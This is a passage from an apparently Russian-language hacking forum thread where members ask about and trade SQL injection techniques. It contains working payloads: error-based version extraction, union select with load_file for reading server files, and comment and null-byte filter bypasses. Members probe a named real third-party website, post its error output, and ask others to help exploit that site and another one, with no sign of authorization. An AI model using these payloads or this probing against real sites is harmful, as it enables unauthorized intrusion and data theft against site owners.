Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    slayzer
    замени на это -

    +or(1,1)=
    (select+count(0),concat((select+version()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)
     
    #12421 Дирижабль, 20 Apr 2010
    Last edited: 20 Apr 2010
  2. slayzer

    slayzer New Member

    Joined:
    30 Apr 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0

    Duplicate entry '5.1.43-community1' for key 'group_key'
     
  3. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    ну все правельно версия 5.1.43-community
     
    1 person likes this.
  4. slayzer

    slayzer New Member

    Joined:
    30 Apr 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    а что за конструкция or(1,1)= и как она выглядит в mssql ?
     
  5. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    http://forum.antichat.ru/thread30501.html
     
  6. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    вот никак не могу раcкрутить http://www.turkishculturalfoundation.org//pages.php?ID=82
    1) вставляю кавычку:
    http://www.turkishculturalfoundation.org//pages.php?ID=82'
    выводит ошибку (значит уязвимость есть)
    2) использую вычитание
    http://www.turkishculturalfoundation.org//pages.php?ID=83-1
    выводится другая страница (значит уязвимости нету)
    3) применяю логику
    http://www.turkishculturalfoundation.org//pages.php?ID=82+AND+1=1
    http://www.turkishculturalfoundation.org//pages.php?ID=82+AND+1=2
    выводит ту же страницу, ничего не изменяется (значит уязвимости нету)

    хотел подобрать поля вообще не выводит ошибки=(применял order+by group+by
    union+select, заменял все думал фильтр, вставлял кавычки, применял and и тд. тп в id

    вывод: шо за......
     
  7. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    и какое слово тут говорит что это не инъекция??? или вы сделали вывод из расчета:
    http://www.turkishculturalfoundation.org//pages.php?ID=83-1
    http://www.turkishculturalfoundation.org//pages.php?ID=82+AND+1=1
    http://www.turkishculturalfoundation.org//pages.php?ID=82+AND+1=2

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/include/lib.php on line 117

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/include/lib.php on line 117

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/include/lib.php on line 117

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/include/lib.php on line 79



    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/pages.php on line 297
     
  8. slayzer

    slayzer New Member

    Joined:
    30 Apr 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Нет тут иньекции, стоит фильтрация на отбрасывание правой части.
     
  9. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Есть директория D:\site.ru\index.php
    Как прочитать этот файл через SQL-inj?
    +union+select+load_file('D:\site.ru\index.php')--
    Или
    +union+select+load_file('D:/site.ru/index.php')--
    ?
     
  10. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    thanks=)
     
  11. pinch

    pinch Elder - Старейшина

    Joined:
    13 Dec 2009
    Messages:
    417
    Likes Received:
    46
    Reputations:
    40
    можно так:
    +union+select+load_file('D:/site.ru/index.php')--

    можно и так:
    +union+select+load_file('D:\\site.ru\\index.php')--
     
    1 person likes this.
  12. mental2

    mental2 Elder - Старейшина

    Joined:
    13 Aug 2007
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    http://www.mzvezda.ru/type/1/51/39/
    Кто поможет раскрутить?
     
  13. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    привет посоветуйте как тут поступит:
    на запрос localhost/script.php?id=1'+order+by+1+--+

    ответ:
    You have an error in your SQL syntax; check the manual that corresponds to your
    MySQL server version for the right syntax to use near 'order+by+1+--+', now())'
    at line 2
    вот никак не могу раскрутит еще добавка now())'
     
  14. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    localhost/script.php?id=1'%20order%20by%201--
     
  15. YuNi|[c

    YuNi|[c Elder - Старейшина

    Joined:
    17 Sep 2006
    Messages:
    293
    Likes Received:
    33
    Reputations:
    18
    спс попугай но все еще остался now())

    You have an error in your SQL syntax; check the manual that corresponds to your
    MySQL server version for the right syntax to use near '', now())' at line 2
     
  16. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    попробуй пробелы поставить до и\или после двух тире, либо /* заюзай, или нульбайтом отрежь на крайний случай.

    А вообще, похоже ошибка идет во втором запросе, видимо.
     
    2 people like this.
  17. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    %23, #, /*.
    1' order by 1,2,3,4,5,6,7,8,9,10,11,12 /*
    1 order by 1,2,3,4,5,6,7,8,9,10,11,12 /*
    С ковычкой без и т.п.
     
  18. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    99% что это инсерт или апдейт. Крутить соответственно
     
    2 people like this.
  19. slayzer

    slayzer New Member

    Joined:
    30 Apr 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Господа, есть варианты обхода экранирования ?)


    statement := 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ';';


    function QuoteParam(s : string) : string;
    { на входе — строка; на выходе — строка в кавычках и с заменёнными спецсимволами }
    var
    i : integer;
    Dest : string;
    begin
    Dest := '"';
    for i:=1 to length(s) do
    case s of
    '''' : Dest := Dest + '\''';
    '"' : Dest := Dest + '\"';
    '\' : Dest := Dest + '\\';
    else Dest := Dest + s;
    end;
    QuoteParam := Dest + '"';
    end;


    + к переменной можно добавить intval()
     
  20. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Как бы там кавычки не мешаються, name= dasjkhasdjkhsjkhasdkhkajh union select 1, etc...
     
Thread Status:
Not open for further replies.